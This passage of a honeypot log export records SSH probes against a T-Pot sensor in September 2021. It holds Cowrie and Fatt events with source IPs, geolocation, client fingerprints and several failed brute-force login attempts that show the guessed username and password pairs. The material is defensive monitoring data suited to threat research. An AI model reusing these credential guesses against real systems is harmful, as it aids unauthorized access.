"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24769	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:07.690533+03	2021-09-20 14:15:09.22647+03	{"_id": "xwblAnwBvYTbRNuENhVB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "d393e7206353", "@version": "1", "duration": 120.00181889533997, "timestamp": "2021-09-20T11:09:07.690533Z", "@timestamp": "2021-09-20T11:09:07.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24770	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:07.694692+03	2021-09-20 14:15:09.22747+03	{"_id": "yAblAnwBvYTbRNuENhVB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "93b180aa17df", "@version": "1", "duration": 3.536182403564453, "timestamp": "2021-09-20T11:09:07.694692Z", "@timestamp": "2021-09-20T11:09:07.694Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24771	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:07.953678+03	2021-09-20 14:15:09.229473+03	{"_id": "yQblAnwBvYTbRNuENhVB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [intermec/intermec] failed", "session": "49729f37da59", "@version": "1", "password": "intermec", "username": "intermec", "timestamp": "2021-09-20T11:09:07.953678Z", "@timestamp": "2021-09-20T11:09:07.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24772	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:08.127197+03	2021-09-20 14:15:09.230471+03	{"_id": "ygblAnwBvYTbRNuENhVB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [webadmin/webadmin123] failed", "session": "19002722f790", "@version": "1", "password": "webadmin123", "username": "webadmin", "timestamp": "2021-09-20T11:09:08.127197Z", "@timestamp": "2021-09-20T11:09:08.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24775	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:09.237199+03	2021-09-20 14:15:09.23447+03	{"_id": "zgblAnwBvYTbRNuEOhUZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:60496 (192.168.176.2:22) [session: f08e090600e3]", "session": "f08e090600e3", "@version": "1", "protocol": "ssh", "src_port": 60496, "dest_port": 22, "timestamp": "2021-09-20T11:09:09.237199Z", "@timestamp": "2021-09-20T11:09:09.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24776	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:09.241082+03	2021-09-20 14:15:09.235471+03	{"_id": "0AblAnwBvYTbRNuEOhUZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38238 (192.168.176.2:22) [session: 5b7345a45054]", "session": "5b7345a45054", "@version": "1", "protocol": "ssh", "src_port": 38238, "dest_port": 22, "timestamp": "2021-09-20T11:09:09.241082Z", "@timestamp": "2021-09-20T11:09:09.241Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24777	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:08.691515+03	2021-09-20 14:15:09.237471+03	{"_id": "3QblAnwBvYTbRNuEOhUc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/aa0614] failed", "session": "ec6d2c05298f", "@version": "1", "password": "aa0614", "username": "root", "timestamp": "2021-09-20T11:09:08.691515Z", "@timestamp": "2021-09-20T11:09:08.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24778	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:08.847795+03	2021-09-20 14:15:09.23847+03	{"_id": "3gblAnwBvYTbRNuEOhUc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "0cb70e7098e0", "@version": "1", "duration": 5.04568338394165, "timestamp": "2021-09-20T11:09:08.847795Z", "@timestamp": "2021-09-20T11:09:08.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24779	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:09.52127+03	2021-09-20 14:15:09.239472+03	{"_id": "6wblAnwBvYTbRNuEPRVo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60496, "timestamp": "2021-09-20T11:09:09.521270", "@timestamp": "2021-09-20T11:09:09.521Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24800	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:12.115286+03	2021-09-20 14:15:09.26647+03	{"_id": "KQblAnwBvYTbRNuERRbT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5b7345a45054", "@version": "1", "duration": 2.871814727783203, "timestamp": "2021-09-20T11:09:12.115286Z", "@timestamp": "2021-09-20T11:09:12.115Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24780	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:09.950769+03	2021-09-20 14:15:09.240471+03	{"_id": "7AblAnwBvYTbRNuEPRVo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48580, "dest_port": 22, "timestamp": "2021-09-20T11:09:09.950769", "@timestamp": "2021-09-20T11:09:09.950Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24781	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:09.674211+03	2021-09-20 14:15:09.241471+03	{"_id": "7QblAnwBvYTbRNuEPhUS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:48580 (192.168.176.2:22) [session: d8d79dcc0b71]", "session": "d8d79dcc0b71", "@version": "1", "protocol": "ssh", "src_port": 48580, "dest_port": 22, "timestamp": "2021-09-20T11:09:09.674211Z", "@timestamp": "2021-09-20T11:09:09.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24782	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:09.739136+03	2021-09-20 14:15:09.242471+03	{"_id": "7gblAnwBvYTbRNuEPhUS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:38880 (192.168.176.2:22) [session: 390f112beb60]", "session": "390f112beb60", "@version": "1", "protocol": "ssh", "src_port": 38880, "dest_port": 22, "timestamp": "2021-09-20T11:09:09.739136Z", "@timestamp": "2021-09-20T11:09:09.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24783	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:09.409068+03	2021-09-20 14:15:09.24347+03	{"_id": "9QblAnwBvYTbRNuEPhUS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "19002722f790", "@version": "1", "duration": 2.51029634475708, "timestamp": "2021-09-20T11:09:09.409068Z", "@timestamp": "2021-09-20T11:09:09.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24784	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:09.417826+03	2021-09-20 14:15:09.245471+03	{"_id": "9gblAnwBvYTbRNuEPhUS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "49729f37da59", "@version": "1", "duration": 3.5486035346984863, "timestamp": "2021-09-20T11:09:09.417826Z", "@timestamp": "2021-09-20T11:09:09.417Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24801	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:12.20142+03	2021-09-20 14:15:09.267471+03	{"_id": "KgblAnwBvYTbRNuERRbT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "84220765f87d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:12.201420Z", "@timestamp": "2021-09-20T11:09:12.201Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24785	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:09.523907+03	2021-09-20 14:15:09.246471+03	{"_id": "9wblAnwBvYTbRNuEPhUS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f08e090600e3", "@version": "1", "timestamp": "2021-09-20T11:09:09.523907Z", "@timestamp": "2021-09-20T11:09:09.523Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 